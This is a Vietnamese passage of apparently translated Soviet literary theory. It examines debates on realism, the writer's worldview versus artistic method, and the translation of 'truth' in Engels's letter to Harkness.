Người tham gia cuộc tranh luận tích cực hơn cả là M.Rôdentan trong giải quyết vấn đề này hình như đã xuất phát từ những tiền đề nhận thức luận đúng đắn. Ông viết: “Trong quá trình sáng tác hình như đụng chạm và giao thoa hai loại ảnh hưởng: ảnh hưởng của thế giới quan, của ý thức xã hội mà cùng với nó nhà nghệ sĩ tiếp cận hiện thực và ảnh hưởng… của chính hiện thực khách quan”.
Nhưng trong các tranh luận tiếp theo nơi ông đã có kết quả cho rằng nhà văn hiểu biết hiện thực không chỉ trong giới hạn thế giới quan của mình, không chỉ thông qua “ý thức xã hội” của mình – mà đối với điều đó còn cần phải có “sự am hiểu sâu sắc” hiện thực được xây dựng trên sự “nghiên cứu tỉ mỉ” hiện thực và chủ nghĩa hiện thực của nó có thể bắt nguồn từ chính nơi đó. “…Bất kỳ nhà văn nào – M. Rôdentan nhận xét – nghiên cứu sâu sắc… đối với tượng hiện thực, đều có thể xung đột với những quan điểm của mình về thế giới”. Và ông còn viết tiếp: “…sự hiểu biết sâu sắc cuộc sống bởi nhà văn, việc nghiên cứu cặn kẽ hiện thực gợi ý cho phương pháp hiện thực chủ nghĩa bất chấp quan điểm của tác giả mà tự biểu hiện trong việc miêu tả hiện thực… đúng đắn”(1).
Cách hiểu quá trình sáng tác như vậy không thể thừa nhận là xác đáng. Ở các nhà văn, tất nhiên có thể có sự hiểu biết cuộc sống sâu sắc, thậm chí đôi khi dựa trên sự nghiên cứu nó tỷ mỉ. Nhưng ngay cả khi đó những hiểu biết ấy về đời sống, những kết quả của việc nghiên cứu chúng cũng không thể có ý nghĩa trực tiếp và quyết định đối với tác phẩm nghệ thuật của nhà văn nếu như chúng không xuyên qua nó “bởi ý thức xã hội”, không thu hút vào nó, không nhận được trong nó cái ý nghĩa thế giới quan, tư tưởng nhất định, nếu như chúng tác động vào sáng tác bất chấp tất cả điều đó. Chính vì trong trường hợp này chúng ta cần phải tiếp nhận sự biểu hiện đầu tiên trong hệ thống những khái niệm trừu tượng chứ không phải trong những ý niệm tư tưởng – cảm xúc bao quát sinh động mà những ý niệm đang đi vào thế giới quan tư tưởng của nhà văn và là nguồn gốc trực tiếp của sáng tác nghệ thuật của nó.
I. Nuxinốp đã phản đối M. Rôdentan. Ông đã chê trách một cách đúng đắn Rôdentan trong “việc cắt rời” thế giới quan và phương pháp của nhà văn, đã khẳng định rằng sáng tác của nhà văn và đặc tính này hay đặc tính khác của phương pháp của nó được xác định bởi thế giới quan của anh ta và đặc biệt khi nói về Bandắc đã phủ nhận điều cho rằng nhà văn này “đạt được chiều sâu nhận thức nghệ thuật hiện thực của mình không phụ thuộc vào thế giới quan của mình”.
Nhưng Nuxinốp đã không có khả năng thuyết giải mối tương quan của thế giới quan và phương pháp. Ông viết rằng “đặc điểm của vị thế của Bandắc như của nhà tư tưởng của nhóm tư sản đối lập đã quy định tính khách quan to lớn trong việc thừa nhận sự nhiều mặt của hiện thực cũng như tất cả các mâu thuẫn của tác phẩm ông ta” và nhìn chung điều đó “không phải là mâu thuẫn giữa phương pháp nghệ thuật với thế giới quan mà là những mâu thuẫn định rõ đặc tính cả phương pháp cũng như cả thế giới quan của Bandắc”(1).
Đối lập với điều đó có thể nói đến Bandắc quả thực phụ thuộc vào nhóm đối lập nhất định của giới tri thức tư sản đang tìm kiếm lý tưởng của mình trong quá khứ lịch sử và đang mong muốn theo cách của mình chứng minh quan niệm chính trị chủ nghĩa chính thống của họ thì từ tính chất đối lập của nó toát ra hoàn toàn không phải “tính khách quan trong việc thừa nhận sự đa diện của hiện thực”, mà ngược lại, sự bất mãn và chủ nghĩa phê phán trong miêu tả những “sự đa diện” của đời sống các tầng lớp tư sản quý tộc của xã hội Pháp cùng thời với ông ta mà chúng phần lớn đặc biệt mâu thuẫn với lý tưởng của ông. Ở đó chứa đựng cái mâu thuẫn giữa “chủ nghĩa chính thống” với tính chất bất mãn sâu sắc của tầng lớp quý tộc trong chính thế giới quan của Bandắc mà Ăngghen đã viết về nó trong thư gửi Hácơnexơ.
Nhưng đó cũng chưa phải là mâu thuẫn giữa thế giới quan và phương pháp của nhà văn. Cái mâu thuẫn như thế nằm ở chỗ là trong khát vọng sáng tạo ban đầu của mình, Bandắc đã muốn phê phán nếp sống thống trị của tầng lớp quý tộc nhưng lại không phủ nhận chính sự tồn tại giai cấp của nó. Nhưng trong sự tái hiện có tính hiện thực đúng đắn của mình những tính cách của tầng lớp quý tộc của sự suy đồi đạo đức bên trong cực kỳ sâu sắc của nó, ông đã chỉ ra một cách rõ ràng toàn bộ tính tất yếu của sự suy vong xã hội của nó, tình trạng không thể nào cứu vãn của nó. Và ngược lại sự nỗ lực của Bandắc nhằm biện hộ về đạo đức đời sống của một số bộ phận hầu như khá hơn cả của tầng lớp quý tộc đã đưa ông đến khuynh hướng miêu tả không hiện thực những đại biểu của nó, chẳng hạn như tử tước Bôxêan trong tiểu thuyết “Cha Gôriô”.
Như vậy là M. Rôdentan đã thực sự tách phương pháp của nhà văn với thế giới quan của anh ta còn I. Nuxinốp về thực chất đã đồng nhất chúng. Cách này hay cách khác các nhà nghiên cứu văn học Xô Viết nửa đầu những năm 30 đã tranh luận về chủ nghĩa hiện thực như về “phương pháp” về nguyên tắc phản ánh nghệ thuật đời sống và về những quan hệ của nó, về những mâu thuẫn có thể của nó với thế giới quan của nhà văn, với khuynh hướng tư tưởng cảm xúc các tác phẩm của nó. Trong mối quan hệ khoa học, đấy là những cuộc tranh luận rất quan trọng.
Nhưng những cuộc tranh luận ấy đã không kết thúc. Các nhà nghiên cứu văn học đã không thể hiểu nhau và trốn tránh những quan niệm mâu thuẫn của mình trong sự tổng hợp biện chứng phức tạp hơn. Nguyên nhân rõ rệt của điều đó là tính quyết toán giáo điều mà với nó trong nghiên cứu văn học Xô Viết ở những năm ấy đã tiến hành một sự phê phán gay gắt xã hội học giai cấp trừu tượng lúc đó bị mang một cái tên luận chiến “xã hội học dung tục” và cũ trong thời kỳ xảy ra trước của hệ thống phương pháp luận thống trị.
Cảm hứng của những nghiên cứu xã hội học giai cấp trừu tượng là việc làm sáng tỏ đặc điểm của thế giới quan và ngay cả tâm lý học hay của “hệ tư tưởng tâm lý” của các nhóm và lớp trung gian xã hội khác nhau và việc loại trừ khỏi nó những đặc điểm sáng tác các nhà văn bị phụ thuộc vào các lớp trung gian ấy theo sự ra đời và giáo dục. Phương diện nhận thức khách quan của nội dung tác phẩm ít gợi sự chú ý các tác giả của những sự nghiên cứu ấy hoặc đã làm chú ý họ trong ý nghĩa minh họa và họ đã đặc biệt không quan tâm đến vấn đề về nghệ thuật phản ánh nghệ thuật cuộc sống. Đối với họ thế giới quan đã quyết định tất cả.
Những nhà phê bình phương pháp luận giai cấp trừu tượng trong quan hệ ấy đã giữ lấy lập trường đối lập trực tiếp. Họ lập tức biểu lộ khuynh hướng vào chỗ làm giảm bớt ý nghĩa thế giới quan các nhà văn của xã hội có giai cấp đã không hiểu những quy tắc của phép biện chứng duy vật. Họ đã gọi các lý tưởng của những nhà văn ấy là những “thiên kiến” giai cấp và chỉ xem sức mạnh nhận thức của các tác phẩm của họ, sự phản ánh hiện thực đời sống của họ là “lý tính” hay “trí tuệ” của họ. Đối với họ chủ nghĩa hiện thực đã giải quyết tất cả.
Chẳng bao lâu đối lập lại xã hội giai cấp trừu tượng đã có một nhóm những nhà lý luận và phê bình mới rất tích cực đứng đầu là M.Lípsix và G.Lucát. Nhóm này đã làm một nhiệm vụ lớn. Nó đã nhắc đến sự tồn tại của một khái niệm quan trọng đối với nghiên cứu văn học – khái niệm “tính nhân dân” hoặc chính xác hơn là “ý nghĩa nhân dân” của các tác phẩm vĩ đại của văn học thế giới mà lần đầu tiên nó đã được Đôbrôliubốp nghiên cứu trong bài báo của ông: “Về mức độ tham gia của tính nhân dân trong phát triển văn học Nga” mà đã chắc chắn bị quên trong giai đoạn thống trị của quan điểm giai cấp trừu tượng trong lịch sử văn học.
Các nhà lý luận của nhóm này đã nỗ lực nghiên cứu khái niệm tính nhân dân trên cơ sở những nguyên tắc duy vật lịch sử. Nhưng trong bầu không khí của phê bình một chiều của “các nhà xã hội học” và “chủ nghĩa xã hội học” chính khái niệm ấy đã tiếp nhận một ý nghĩa trừu tượng. Tính nhân dân của văn học bắt đầu đối lập với tính giai cấp của nó, tính nhân dân trong nhận thức của các nhà nghiên cứu văn học đã tồn tại tự thân không phụ thuộc vào lập trường tư tưởng của nhà văn. Và cách hiểu tính nhân dân như vậy đã đòi hỏi những tiêu chí và lý lẽ đặc biệt đối với nó. Chủ nghĩa hiện thực của sáng tác các nhà văn đã tạo nên các tiêu chí cơ bản như vậy.
Về thực chất thì ý nghĩa nhân dân của các tác phẩm nghệ thuật đã và đang được xác định tất nhiên hoàn toàn không phải bởi chủ nghĩa hiện thực của chúng mà trước hết bởi tính chân thực khách quan của khuynh hướng tư tưởng tình cảm của chúng. Và như đã nói ngay cả những tác phẩm không hiện thực cũng có thể có tính nhân dân. Nhưng vì các đại biểu của phương pháp luận mới đã sẵn sàng tìm kiếm chủ nghĩa hiện thực trong những giới hạn rộng rãi hơn có thể của quá trình lịch sử văn học, họ đã đi tới đồng nhất chủ nghĩa hiện thực với “tính chân thực của mô tả đời sống”. Họ đã xem là có tính hiện thực chủ nghĩa tất cả những cái sâu sắc về các vấn đề của mình và những cái chân thực về khuynh hướng tư tưởng của mình của các tác phẩm văn học nghệ thuật quá khứ và hiện tại. Điều đó đã góp phần quan trọng trong việc nêu lên khái niệm “ý nghĩa nhân dân” thành tiêu chuẩn cao nhất của việc đánh giá các tác phẩm văn học nghệ thuật. Và khái niệm tính giai cấp của văn học hầu như đã hạ thấp ý nghĩa lịch sử các tác phẩm văn học. Như thế về cơ bản, nhiệm vụ đang đặt ra trong thời đại chúng ta.
Trong bầu không khí như vậy “chủ nghĩa hiện thực” đã chuyển thành một thuật ngữ khoa học đánh dấu một phương diện xác định của nội dung tác phẩm. Trong phê bình nó đã trở nên một phương thức tán dương các tác phẩm và tác giả của chúng. Trong lịch sử các nền văn học dân tộc khác nhau nhiều tác phẩm không hiện thực thường đi vào trong cái dấu hiệu hoán dụ thông dụng toàn bộ sáng tác của nhà văn (“chủ nghĩa hiện thực” của Gôgôn, Bandắc, Đicken thay cho “sáng tác của Gôgôn, Bandắc…”) hoặc trong cái dấu hiệu mù mờ của văn học những thời kỳ lịch sử toàn vẹn (chủ nghĩa hiện thực thời kỳ Phục hưng, thời đại Ánh sáng, thế kỷ XIX…) và điều đó thường không đi kèm theo bất kỳ một nỗ lực nào nhằm chứng minh tính hiện thực có thật của chúng trong quá trình phân tích các tác phẩm liên quan với thời kỳ này hay thời kỳ khác. Các tác phẩm được phân tích từ tất cả các phương diện khác của mình – đề tài, hệ đề tài, cảm hứng, thể loại, phong cách…, nhưng chỉ không từ phương diện nguyên tắc phản ánh đời sống. Cái từ “chủ nghĩa hiện thực” được sử dụng thường xuyên hơn so với độ cần thiết và khái niệm chủ nghĩa hiện thực về thực chất vẫn không được giải thích.
Các truyền thống những bài báo phê bình xuất sắc của Bêlinxki, Sécnưsepxki, Plêkhanốp bị một số nhà nghiên cứu văn học quên lãng. Về cuộc tranh luận những năm 1930 xung quanh vấn đề về những mâu thuẫn giữa thế giới quan nhà văn và phương pháp hiện thực chủ nghĩa của chúng không một ai nhớ tới. Nhiều nhà nghiên cứu văn học thậm chí cho rằng tất cả những vấn đề trên đã lỗi thời và đã không còn ý nghĩa đối với khoa học hiện đại.
Hình thư cuộc thảo luận chuyên biệt về chủ nghĩa hiện thực tổ chức vào mùa xuân 1957 của Viện văn học thế giới và sau đó chuyển tải trên các trang tạp chí “Những vấn đề văn học” đã có thể quay trở lại khái niệm chủ nghĩa hiện thực, ý nghĩa độc lập của nó và tiếp tục trong quan hệ ấy những cuộc tranh cãi lý luận những năm 1930 trên cơ sở mới. Nhưng cuộc tranh luận đó đã không cho những kết quả như có thể mong đợi từ đấy.
Trong cuộc thảo luận đã đề ra việc phản đối có tính nguyên tắc chống lại các lý thuyết trừu tượng. Những người tổ chức cuộc thảo luận đã e ngại rằng hầu như những hệ thống lý thuyết trừu tượng không có ưu thế trong việc làm sáng tỏ những vấn đề của chủ nghĩa hiện thực đối với những sự nghiên cứu lịch sử cụ thể của nó. Nhưng trong khi phục vụ chung, nhiều người tham dự thảo luận đã hoàn toàn xem thường lý luận chủ nghĩa hiện thực và điều đó đã dẫn họ đến chỗ họ đã đồng nhất chủ nghĩa hiện thực với những thuộc tính khác của văn học nghệ thuật.
Chẳng hạn như trong bài báo “Về vấn đề quan hệ của chủ nghĩa hiện thực và chủ nghĩa lãng mạn” của A.A.Elixtratôp, về thực chất nhận thức dưới chủ nghĩa hiện thực là nguyên tắc miêu tả đời sống nguyên tắc lựa chọn và kết hợp các chi tiết tạo hình trực quan, là hình thức tác phẩm. Nếu như trong các tác phẩm miêu tả “những địa chủ, chủ trang trại và thị dân Anh bình thường”(1) thì đó là chủ nghĩa hiện thực (trong trường hợp này – là chủ nghĩa hiện thực “khai sáng”). Còn nếu như trong các tác phẩm thiếu vắng sự giống như thật bên ngoài của việc miêu tả đời sống, nếu như những hình tượng của chúng xây dựng trên sự phóng đại mạnh mẽ trở thành chuyện hoang đường như đã thường có ở Bairơn và Sehli, ở Blâyk và Ritx thì đó là những dấu hiệu của chủ nghĩa lãng mạn. Nhưng chắc chắn là việc phản ánh có tính hiện thực chủ nghĩa những tính cách xã hội có thể thực hiện bằng cách sử dụng các thủ pháp ngoa dụ và huyền ảo trong miêu tả chúng.
Một số người khác tham dự cuộc thảo luận trong khi xác định đặc tính của sáng tác hiện thực chủ nghĩa đã nói rằng về thực chất không phải là về những đặc điểm được sự phản ánh cuộc sống thể hiện trong nó mà là về sự độc đáo của hệ vấn đề. Chẳng hạn như A.Ivasenkô ở bài báo “Về vấn đề chủ nghĩa hiện thực phê phán và chủ nghĩa hiện thực xã hội chủ nghĩa” trong khi xem xét hai giai đoạn đó của chủ nghĩa hiện thực ở văn học Pháp đã thấy sự khác nhau giữa chúng là ở chỗ “chủ nghĩa hiện thực phê phán” về cơ bản đã phát triển các mô típ “không có triển vọng lịch sử đời sống xã hội… của sự bất lực xã hội và sự cô độc của cá nhân” trong khi đó “chủ nghĩa hiện thực mới xã hội chủ nghĩa, khẳng định đời sống như một hành động còn con người như một sức mạnh kỳ diệu, đang cải tạo thế giới”(2).
Thường xuyên trong khi sử dụng từ “chủ nghĩa hiện thực”, tác giả bài báo về thực chất không nói một tí gì về chủ nghĩa hiện thực như về nguyên tắc phản ánh đời sống và thậm chí không đặt ra câu hỏi về phương diện đó của nội dung tác phẩm nghệ thuật.
Chính vì thế cần phải nói rằng vạch trần “những vết loét của trật tự thế giới tư bản chủ nghĩa”, phơi bày “sự bất lực xã hội và sự cô độc của cá nhân” có thể, nhìn chung rằng trên cơ sở nguyên tắc phi hiện thực chủ nghĩa của việc phản ánh đời sống và có thể tái hiện đời sốg một cách phi hiện thực “trong khi khẳng định nó như là một hành động” còn con người thì như “một sức mạnh diệu kỳ đang cải tạo thế giới”. Tất cả điều đó đã ở ngoài trường nhìn của tác giả.
Bài báo của A.Ivasenkô khéo chứng tỏ cái thói quen phổ biến ở chúng ta suốt thời gian gần đây của tư duy nghiên cứu văn học hiểu thuật ngữ “chủ nghĩa hiện thực” trong cái nghĩa bóng, hoán dụ theo nguyên tắc pars pro toto. Các nhà lịch sử văn học gọi toàn bộ văn học được xây dựng trên việc phản ánh đời sống có tính hiện thực là “chủ nghĩa hiện thực”. Và như vậy họ có thể xem bất cứ phương diện nội dung nào của nó thậm chí cả những hình thức của nó là chủ nghĩa hiện thực. Nhưng chủ nghĩa hiện thực trong ý nghĩa trực tiếp riêng biệt của từ thì họ không xem xét, không nghiên cứu, lãng quên những vấn đề quan trọng liên quan đến việc nghiên cứu nó.
4
Do vậy mà các người tham gia thảo luận năm 1957 đã không chú ý đầy đủ, nghiêm túc đến công thức của chủ nghĩa hiện thực mà Ăngghen đưa ra trong thư gửi M.Hácơnexơ. Một ít người trong số họ rõ ràng là đã cho rằng công thức ấy hoàn toàn hẹp bởi vì nó không bao hàm trong văn học tất cả những gì mà họ đã xem có thể gọi là chủ nghĩa hiện thực. Một số khác đồng tình trích dẫn nó nhưng không chịu phân tích sau và vận dụng. Còn một số lại chuyển sang rất tuỳ tiện và phỏng chừng.
Điều này đã xảy ra một phần tại vì ở các bản dịch tiếng Nga mà chúng ta định nghĩa chủ nghĩa hiện thực ở Ăngghen đã thay đổi theo dòng chảy thời gian mà những sự thay đổi ấy lại quan trọng. Lần đầu tiên lá thư của Ăngghen gửi Hácơnexơ đã xuất hiện trong bản dịch tiếng Nga hai tập “Di sản văn học” năm 1932. Chúng ta đọc ở đó: “… chủ nghĩa hiện thực muốn nói ngoài những chi tiết đúng đắn là sự diễn tả chính xác những tính cách điển hình trong những hoàn cảnh điển hình”(1). Và cho đến năm 1938 bản dịch như vậy vẫn giữ nguyên về cơ bản thành phần cấu tạo quan trọng nhất của định nghĩa chủ nghĩa hiện thực. Chẳng hạn trong hợp tuyển “K.Mác và F.Ăngghen về nghệ thuật” đã in: “… chủ nghĩa hiện thực muốn nói… sự diễn tả chính xác những tính cách điển hình…” v.v… (2).
Nhưng sau đó vào năm 1940 trong tập một tuyển tập K.Mác và F.Ăngghen, bản dịch đã thay đổi “sự diễn tả chín xác” đã thay thế bằng “tính chân thực của sự tái hiện”(3). Uy tín của lần xuất bản đó đã góp phần làm cho bản dịch được bảo lưu về sau. Chẳng hạn như trong hợp tuyển hai tập “K.Mác và F.Ăngghen về nghệ thuật” in năm 1957 được đọc là “…chủ nghĩa hiện thực muốn nói… tính chân thực của sự tái hiện…” v.v… (4). Trong lần xuất bản lần thứ hai tuyển tập K.Mác và F.Ăngghen đã in: “.. chủ nghĩa hiện thực cho rằng… việc tái hiện chân thực những tính cách điển hình…”(5).
Cần phải trở lại với bản dịch đầu tiên của định nghĩa chủ nghĩa hiện thực do Ăngghen đưa ra tới nó đúng hơn cả, phù hợp hơn cả với chính nội dung khái niệm mà ông xác định. Ăngghen viết về “tính đúng đắn” (truth) của việc tái hiện (reproduction) “những tính cách điển hình trong những hoàn cảnh điển hình”. Tất nhiên từ tiếng Anh truth trong những trường hợp khác nhau có thể có nghĩa là “tính đúng đắn” hay là “tính chân thực”. Nhưng trong việc chọn nghĩa này hay nghĩa khác của từ cần phải xuất phát từ văn cảnh không chỉ lời phát biểu đó của Ăngghen mà cả những phát biểu khác của ông cũng về vấn đề này.
Tất nhiên Ăngghen không nghĩ rằng chủ nghĩa hiện thực đơn giản ở chỗ các nhân vật của tác phẩm như “những tính cách điển hình” chỉ được miêu tả cái bề ngoài giữa “những hoàn cảnh điển hình”, ở ngoài những mối liên hệ bên trong với chung. Ngay trong câu tiếp theo ở lá thư của mình ông đã nhận xét: “Những tính cách của cô khá điển hình trong những giới hạn mà cô cho chúng ở đó nhưng không thể nói là điển hình những hoàn cảnh bao quanh chúng và buộc chúng hành động”(1).
Đối với Ăngghen “những tính cách điển hình” – đó không phải đơn giản là các cá nhân riêng lẻ. Đó là những cá nhân thể hiện một cách tích cực và rõ ràng trong những bản tính cá nhân của chúng những đặc điểm bản chất nào đó của đời sống xã hội. Đó là những tính cách xã hội trong biểu hiện điển hình của chúng.
Thật ra khi Ăngghen nói về nhân vật nữ ở truyện vừa “Cô gái thành thị” của Hácơnexơ, cô Henli Ambrôgiơ, rằng hình tượng của cô có tính hiện thực trong chừng mực mà ông nghĩ về nó không đơn giản như về một cá nhân mà trước hết như là về một cô công nhân năm 1880 rất thụ động, không tự giác bởi những công việc ở nhà của mình, khiếp nhược trong gia đình riêng và chịu sự thống trị của các quan niệm tôn giáo, rất xa lạ với phong trào công nhân có ý thức của thời đại mình. Nhưng ở lá thư gửi Látxan, khi Ăngghen viết về các nhân vật chính trong vở bi kịch của Látxan là Xichkinghen và Hútten thì ông đã thấy chúng như những đại biểu của “phong trào quý tộc dân tộc” trong xung đột cách mạng của nó với đế chế phong kiến và nhà thờ với quan điểm ấy ông đã bàn luận tính chính xác sự miêu tả các hoạt động của chúng của nhà soạn kịch.
Trong tất cả những phát biểu phê bình văn học của mình, dưới cụm từ “những hoàn cảnh điển hình”, Ăngghen đã nhận thức không phải là những điều kiện sinh hoạt hàng ngày của cuộc sống các nhân vật và cũng không phải những quan hệ cá nhân của chung mà giống như Bêlinxki và Sécnưsepxki là những quan hệ xã hội của đất nước và thời đại mà các nhân vật ấy đang sống và hoạt động trong đó. Như vậy là ông đã thấy những thiếu sót của chủ nghĩa hiện thực trong bi kịch của Látxan trước hết là ở chỗ nó đã không phát hiện một cách nghệ thuật bằng sự rõ ràng đầy đủ những mối quan hệ qua lại của những nhà hiệp sĩ quý tộc khởi nghĩa chống lại quân vương với “phong trào nông dân” của thời đại. Nhưng chính trong những mối quan hệ qua lại ấy theo ý kiến của Ăngghen đã ẩn chứa bi kịch chân chính của phong trào quý tộc.
Nhưng nếu như tất cả điều đó là như vậy thì “sự chính xác của việc tái hiện những tính cách điển hình trong những hoàn cảnh điển hình” là nằm ở chỗ nào? Là ở chỗ các tính cách xã hội của nhân vật được tái hiện một cách chính xác bởi nhà văn so với những quan hệ xã hội của đất nước và thời đại chúng. Là ở chỗ các nhân vật của tác phẩm hoạt động trong sự phù hợp với những đòi hỏi khách quan và những khả năng của những quan hệ xã hội ấy mà chúng không chỉ “bao bọc” chúng bên ngoài mà còn “bắt buộc hành động”.
Như vậy có nghĩa là từ “truth” trong thư của Ăngghen viết bằng tiếng Anh cần phải dịch là “sự chính xác” của việc tái hiện “các tính cách” so với “các hoàn cảnh”, trong khi hiểu biết cái từ ấy là sự phù hợp của những cái thứ nhất đối với những cái thứ hai trong số chúng. Từ này đã được dịch ra tiếng Đức hoàn toàn đúng: “die getreue Wiedergabe”. Và theo tiếng Nga thì từ “sự chính xác” còn xa mới đồng nghĩa với từ “tính đúng đắn”. Có thể nói rằng ai đó “đã đánh giá đúng” một hành động này hay hành động khác nhưng không thể nói rằng ai đó “giải quyết đúng một vấn đề”. Các vấn đề được giải quyết chính xác tức là trong sự phù hợp với lôgic riêng của chúng.
Nhưng khi giải quyết vấn đề chủ nghĩa hiện thực sẽ không đầy đủ, tất nhiên, nếu thỏa mãn với những trích dẫn nhờ uy tín của Ăngghen và dẫn ra những trích đoạn từ thư của ông cho dù đã dịch hoàn toàn đúng. Cần phải tiếp tục nghiên cứu khái niệm được ông xác định trong những nét khái quát.
Vấn đề chủ nghĩa hiện thực tất nhiên không quy gọn vào tất cả những điều vừa nói ở trên. Liên quan đến điều đó cần phải chú ý đến báo cáo của Ia.Enxberg – là bản báo cáo đầu tiên và duy nhất mang tính lý luận tại cuộc tranh luận năm 1957 mà những người khác tham dự tranh luận về thực chất đã không bàn đến. Ý tưởng hoàn toàn đúng về “đặc thù của tính cách điển hình trong chủ nghĩa hiện thực” đã được phát biểu trong báo cáo. “Chính trong chủ nghĩa hiện thực, – người đọc báo cáo đã chỉ ra, – lần đầu tiên khái niệm sự độc lập bên trong được tạo ra, mà điều chủ yếu là sự tự phát triển của tính cách, của cái lôgic bên trong của nó mà thậm chí người sáng tạo hình tượng này hay hình tượng khác cũng phụ thuộc vào cái lôgic riêng của nó”. Tiếp đó người đọc báo cáo đã nhấn mạnh rằng dưới cái từ “tự phát triển” ông ta hiểu không phải “cái khả năng của tính cách này hay tính cách khác đối với những thay đổi cơ bản” mà là “cái lôgic của những xúc cảm và hành động” của các nhân vật(1).
Nhưng trong khi nêu lên quy tắc này, Ia.Enxberg đã không giải thích là từ đâu mà xuất hiện “cái lôgic của những xúc cảm và hành động” ấy của các nhân vật. Mà chính cái lôgic đó vừa khuýp được tạo ra bởi “những hoàn cảnh điển hình” của đời sống xã hội. Những tính cách xã hội của con người không xuất hiện tự nó và không phải chỉ là đối tượng của tác động bên ngoài của các quan hệ đời sống xã hội của đất nước hoặc thời đại này hay khác. Chúng luôn luôn được hình thành từ bên trong dưới tác động của những quan hệ xã hội nhất định và luôn luôn mang trong mình tính quy định bên trong của mình bởi những quan hệ ấy và những tính quy luật bên trong của mình.
Như vậy có nghĩa là chủ nghĩa hiện thực của các tác phẩm cơ bản là ở chỗ nhà văn buộc các nhân vật của mình hành động (mong muốn, xử sự, suy nghĩ, cảm xúc, nói năng) trong sự phù hợp với những đặc điểm các tính cách xã hội của chúng, với những quy luật bên trong của chúng được tạo bên bởi những quan hệ xã hội của đất nước và thời đại chúng – tức là bởi “những hoàn cảnh điển hình”. Và điều này thì Bêlinxki và Sécnưsepxki đã viết trong thời của mình nhưng không sử dụng từ “chủ nghĩa hiện thực” và đã được trình bày trong phần đầu của chương này.
Từ đó cho thấy “những hoàn cảnh điển hình” khi từ bên trong “ép buộc” các nhân vật của các tác phẩm hiện thực chủ nghĩa “hành động” cách này hay cách khác không nhất thiết phải “bao quanh” bên ngoài chúng trong những cốt truyện của tác phẩm. Chủ nghĩa hiện thực có thể tồn tại thiếu cốt truyện của tác phẩm. Nó có thể được biểu hiện với sức mạnh không nhỏ cả trong việc miêu tả đời sống sinh hoạt, gia đình, cá nhân, riêng biệt của các nhân vật của tác phẩm.
Tất nhiên thành tựu to lớn của văn học hiện thực chủ nghĩa thế kỷ XIX và XX đã là sự chiếm lĩnh nghệ thuật những phương diện và quá trình đời sống xã hội mà chúng ít được văn học các thời đại trước đó đụng chạm đến. Văn học các thời đại rực rỡ của chủ nghĩa hiện thực đặc biệt phong phú bởi “những khám phá” trong lĩnh vực các quan hệ xã hội cũng như các quá trình đấu tranh giai cấp trong những lĩnh vực khác nhau của đời sống xã hội.
Nhưng điều đó không dẫn tới biến đổi dấu hiệu nhất thiết phải có của chủ nghĩa hiện thực nói chung. Chính trong nhiều tác phẩm xuất sắc của chủ nghĩa hiện thực thế kỷ XIX những mâu thuẫn của các quan hệ chính trị xã hội và hệ tư tưởng rất thường lui về bình diện thứ hai, ẩn trong những “tiền sử” của các nhân vật, trong những đặc tính chung của chúng. Trền phần trước sân khấu các cốt truyện của chúng hiện ra cuộc sống riêng của các nhân vật và thường hơn cả là những xung đột tình yêu riêng tư của chúng. Còn trong những tác phẩm biểu hiện rực rỡ với khuynh hướng lãng mạn hay trào phúng thì các nhân vật thường là những cá tính phi thường hoạt động trong những sự biến đổi khác thường đôi khi thậm chí là hoang đường và trong hoàn cảnh bên ngoài. Tuy vậy chúng đã có thể trong hoàn cảnh đó hành động phù hợp với những đặc tính riêng, với những quy luật bên trong của những tính cách xã hội của mình và bằng chính điều đó phù hợp với những quan hệ xã hội đã sản sinh ra chúng. Ở đó đã bao hàm “sự tự phát triển” những tính cách xã hội của các nhân vật và chủ nghĩa hiện thực của tác phẩm nghệ thuật của chúng.
Tất nhiên giải quyết đồng thời vấn đề về “tính chính xác các chi tiết” nêu trong định nghĩa chủ nghĩa hiện thực do Ăngghen nêu ra, thì ở đây phải dùng ngay cái từ tiếng Anh “truth”? Những gì nói chung có thể là “những chi tiết” “chính xác” của tác phẩm nghệ thuật? Ở đây tất nhiên cần phải có trước hết là những chi tiết tạo hình đối tượng tức là những chi tiết đời sống các nhân vật được miêu tả trong tác phẩm. Nếu như dưới “sự chính xác” của các chi tiết được hiểu là sự giống nhau như thật bề ngoài của chúng tức là sự phù hợp cái vẻ ngoài đời sống của chúng thì “sự chính xác” ấy không thể xem là sự biểu hiện bắt buộc phải có của chủ nghĩa hiện thực. Như đã nhận xét, các nhân vật của tác phẩm có thể được miêu tả trong những chi tiết lạ thường, phóng đại hoặc thậm chí hoang đường của cái vẻ đẹp của mình, của các hành động và cảm xúc nhưng về bản chất lại hoạt động phù hợp với những quy luật bên trong của những tính cách xã hội của mình được tạo bởi “những hoàn cảnh điển hình”.
Nhưng lại có thể hiểu “tính chính xác của các chi tiết” theo một cách khác. Có thể hiểu dưới từ đó là sự chính xác mang tính chức năng của chúng tức là sự phù hợp của chúng với nội dung tư tưởng của tác phẩm mà nó được bộc lộ thông qua chúng – phù hợp với những đặc điểm của các tính cách được mô tả trong sự thấu hiểu chúng một cách nào đó và trong sự đánh giá cảm xúc từ phía nhà văn. Nhưng ngay sự chính xác mang tính chức năng của các chi tiết không thể được thừa nhận là tiêu chí của chủ nghĩa hiện thực. Bởi vì nó tồn tại không chỉ trong các tác phẩm hiện thực chủ nghĩa mà trong tất cả các tác phẩm nói chung có sự thống nhất nội dung và hình thức. Từ tất cả điều đó cho thấy “sự chính xác của các chi tiết” không phải là “dấu hiệu” cơ bản của chủ nghĩa hiện thực.
5
Báo cáo của Ia.Enxberg về chủ nghĩa hiện thực đã đụng đến một vấn đề cơ bản khác. Chẳng hạn như đã nói nếu chủ nghĩa hiện thực trong các tác phẩm tính cách xuất phát từ “lôgic của những cảm xúc và hành động của các nhân vật” thì “đối với chủ nghĩa hiện thực trong những thời đại trước đó… văn học bị phụ thuộc vào những quan niệm tôn giáo và thần thoại đã xuất phát từ những tiêu chuẩn mỹ học “đã định trước”. Và tiếp tục: “Tính chất tiền định tiêu chí của các tính cách như vậy vốn có ở văn học phương Đông trong các thời cổ xưa của sự phát triển của chúng”(1).
Việc đối lập như vậy giữa hai thời kỳ phát triển văn học – hiện thực chủ nghĩa và trước hiện thực chủ nghĩa – là hoàn toàn cứng nhắc và không thể được xác nhận bằng sự thật. Theo cách hiểu đó thì trong các thời kỳ rất sớm của lịch sử của mình, văn học nói chung đã không là và không thể là văn học hiện thực chủ nghĩa, sau đó khá lâu (theo Enxberg – từ thời đại Phục hưng) nó bỗng nhiên tất cả đã hướng về chủ nghĩa hiện thực.
